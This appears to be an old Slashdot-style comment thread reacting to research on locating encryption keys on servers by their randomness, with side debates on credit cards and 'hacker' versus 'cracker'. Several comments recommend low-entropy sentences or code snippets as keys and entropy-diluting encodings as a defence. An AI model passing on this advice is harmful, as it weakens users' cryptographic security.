Disclaimer: I may be totally off base here as this article is mighty vague. I have the utmost respect for Adi Shamir, one of the brightest cryptographers out there.
The problem with check cards is that if someone steals it and makes fraudulant charges, that money comes straight out of your account. Sure, you can call the bank the credit your account, but how long does that take? Meanwhile, all your checks bounce.
Credit cards are far superior, because it puts the bank at risk, not you.
---
Ok, this is ridiculous .. how effective is the randomness seeking algorithm? How does it determine randomness? This only should affect steganography users. (People hiding their keys inside .gif files.) This too I doubt, and I would be very surprised if their algorithm can detected "pockets of randomness" within an compressed image file. I dont think many have assumed that their keys were safe because the key is hidden in some obscure directory, or a wierd filename. After all, by examining the application that accesses the key (a cracker should be able to access this also if he can run an program that can search the whole file system for "pockets of randomness"). Anyway. This is just a scam and I dont care if Adi Shamir supports it .. I do not think that it increases data vulnerability in a significant way. Ok, I gotta go delete the key I hid in the .jpg of my cat. -johan
Second, in the second paragraph is this quote:
"The revelation that hackers can break into servers and steal encryption keys could have repercussions throughout the electronic commerce landscape."
So stealing credit cards from servers is now a revalation? It's the second paragraph and already they're pouring down the hype!
Lastly, there have been several cases of credit card fraud where I live (New England) due to disgruntled office supply cashiers scribbling down credit card data when the customers go to the checkout line. But does that mean people stop using credit cards to buy things? Hardly.
As if the idea of spending money was so radically new that old principles don't apply to e-commmerce...
------------
"Okay, who taught the cat how to type ctrl alt delete?"
I heard there's a new book coming out:
BackOrifice Server 2000 for Dummies.
*** The ENCRYPTED data ***
All persons involved in this "discovery" should know that if the data is encrypted with good enough methods they could hand out that encrypted data to everyone on their website without risking being compromised!
Stupid stupid stupid stupid.
I'll go and decrypt all those nude photos I currently have encrypted using 128 bit IDEA on my harddrive now. Someone could search for their randomness and get hold of my encrypted data ... scary. They could even try to view that encrypted data with an image viewer and see ... well ... random noise.
Go hide in the corner now, please.
it's in my head
There you go, now, trying to redefine language to fit your agenda.
A cracker is someone who breaks copy protection on games and programs that are copy protected.
That definitiion is at LEAST as old as the subset of the definition of 'hacker' that you champion at the exclusion of all other definitions of the word.
And, to cap off what the previous comment says, the cDc's "product" is primarily designed for malevolent use. Otherwise, it would load with a big friendly splash screen and have a nice obvious icon in the system tray.
To Anonymous Coward: Most of the people who post on SlashDot use the geek culture definition of the word. To them, a hacker isn't someone who breaks into computers. That's a cracker. I won't try to define hacker: it's done much better here
"The legitimate powers of government extend only to such acts as are injurious to others." Thomas Jefferson.
Technically, a motor converts electrical energy into mechanical energy. But look it up in the dictionary and you'll also find that it's an internal combustion engine. Why? Common useage. The meaning of the word has evolved. Within the engineering fields, it's still technically incorrect to refer to an engine as a motor. In general conversation, however, it's linguistically correct.
The political twisting of words isn't so much a twisting of definitions as it is applying a word to a situation incorrectly in an attempt to persuade or imply that the situation has characteristics which it in fact doesn't. (Hopefully, your parser can handle that last sentence!) There's nothing wrong with using technically defined words correctly. There's also nothing wrong with pointing out that a word is used incorrectly in a technical context, or even in a specific cultural context.
Soneone who used hacker to mean a computer criminal while posting to /. can expect to get corrected. Despite it's popularity, /. is still mostly geek culture (or at least those who pretend or aspire to geek culture). But to berate the general press for using it incorrectly is arrogant.
"The legitimate powers of government extend only to such acts as are injurious to others." Thomas Jefferson.
Or store a 128bit key in a 1024bit location, mixing the actual key in with less random bits.
"The legitimate powers of government extend only to such acts as are injurious to others." Thomas Jefferson.
- Most people can get credit cards with 9.9% interest or less.
- Smart people pay no interest. They pay their credit card bills every month.
- The safest means of commerce is to give your credit card info out over the internet.
The safest means of commerce? Yes. You carry $100 on the street and get mugged, you lose $100 (as well as possibly your health or your life). If someone uses your credit card, however, you are liable for *at most* $50 in charges so long as you let the credit card company know.Furthermore, transmitting your CC# via SSL is more secure than giving it to a waiter or saying it over the phone.
If the problem is that the keys are too random, all that is necessary is to make them arbitrary instead. Rather than a key string of "qliyufg;erqvb qfiyfiv b(&^$E*O11 651" use "the azure frog, jealous of a new day"Or, to get a bit more sophisticated (albeit while reducing the opportunity for creative writing), use an actual section of code as a key.
As others have pointed out, there's no big revelation here, or sudden big security hole... All it means is that if you could access private data before and put it through a brute force search, now you have a search that's a little bit more focused.
Apparently what prompted the researchers to look for and announce this "problem" was the fact that they were already in the business of selling a "solution" for it. (That's not my cynicism speaking; that's in the article itself.) Well, I've got a solution for it too: generate a bunch of unneeded encryption keys from your other files and store them on the same volume. The encryption keys you're trying to hide no longer stand out by their randomness and you have an integrity check for the rest of your valuable data.
If people are to respect the law, perhaps the law should begin by respecting the people.
As usual we trade convenience / price for security.
.oO0Oo.
All a hacker would have to do [is] go into that server and root around looking for the keys of other companies.
Surely if you managed to get access to the file system with this sort of clearance plenty of exloits are possible anyway. In my experience this is more likely with M$ based stuff than *nix, however it really just highlights how the majority of our systems are single user computers with multi-user capability tagged on.
Storing CC numbers on a shared web server that also stores your key does sound a bit of a no-brainer to start with if it's security you're looking for!
As for the story, it's a bit thin on detail and thick on supposition.
There are places where the networks are not touching,and there are places where they are-Boeing's Lori Gunter
Now we actually now what this is about. As far as I am concerned, the interesting application would be if No Such Agency sifted communications channels of a planet to find the keys. They can afford to do it if it's computationally cheap enough.
I was thinking.. if you could find the dir with the keys and just get a list of it. (for example, sshd is in /etc which is usually gloabally listable), you could look at the files date and then go thru the sshd source code to find where it generates the key. It probably uses the time/date to seed the random number generator, you could repeat this process with that timestamp you found on the file and have it spit back the key!
I see that some of the posters have assumed the keys are contained in the filesystem, while the rest are for searching memory. Well, which is it? If it's the filesystem, the obviously you've got to be root or administrator and have some way of running your programs on the target box. Not that easy, as many have said. If the keys are in memory, even if you're a hacker with all the privileges in the world, the address space of your evil program can't see other address spaces, unless you are a very tricky assembly language wizard. Either way, this is not for script kiddies.
And if the ruthless crackers at the NSA want to find out your credit card number, they'll probably just call your bank and ask.
From now on, let's all just refer to computer criminals as "journalists".
I am very much afraid that we live in interesting times.
Use checks or money orders. I personally do not own a credit card, because I think the interest on it is ridiculous and they are so easily prone to attack. This is just evidence that you are probably no safer giving out your credit card info over the internet than you are safe from getting mugged in a large city.
But retrieving the encryption keys is somewhat more worrisome. Suddenly for the relatively small effort of breaking into the server a hacker could access scores of encrypted files which would previously have taken ages to crack. Not only that, but apparently it's harder to detect such attacks.
Passwords have been the weak link in computer security for some time now. Many users do not protect their password properly, or choose one easy to guess. Result: easy hacking. This isn't new, it's just another manifestation of the same old problem.
I don't have a sig.
If you keep your keys in hexadecimal or base64 rather than binary, then the information content is maintained but is spread across a greater amount of data. This easily defeats the method. If you *really* want to reduce the average entropy, you can use a full byte '0' or '1' for each bit. or two bytes, or three ... ad infinitum.
I would have to say that servers are most secure to this kind of key retrieval method. They seem to fail mentioning that you must first break into the system before you can search for the key. Well duhhh... if this guy has already hacked into your server your screwed. I would think that someone that helped to create RSA would be bright enough to realize that one out so i'm sure that it's the fault of zdnet's crack reporting team. I would be more concerned with software that keeps the decryption key on your local system like www.timelock.com or www.softlocx.com. Really all this does is remind people that randomness is a recognizable pattern and using a sentence is a better choice for a key.
Tom the Sigless
So does that mean if some attack like this game, some large scale credit card scam designed to suck a huge amount of money out of the economy and create havok in the system, that ultimatly it would be us, THE PEOPLE who get shafted and not THE CORPORATIONS who run this shitty ass unsecure system? That is what it sounds like to me and if you ask me, that doesn't seem right.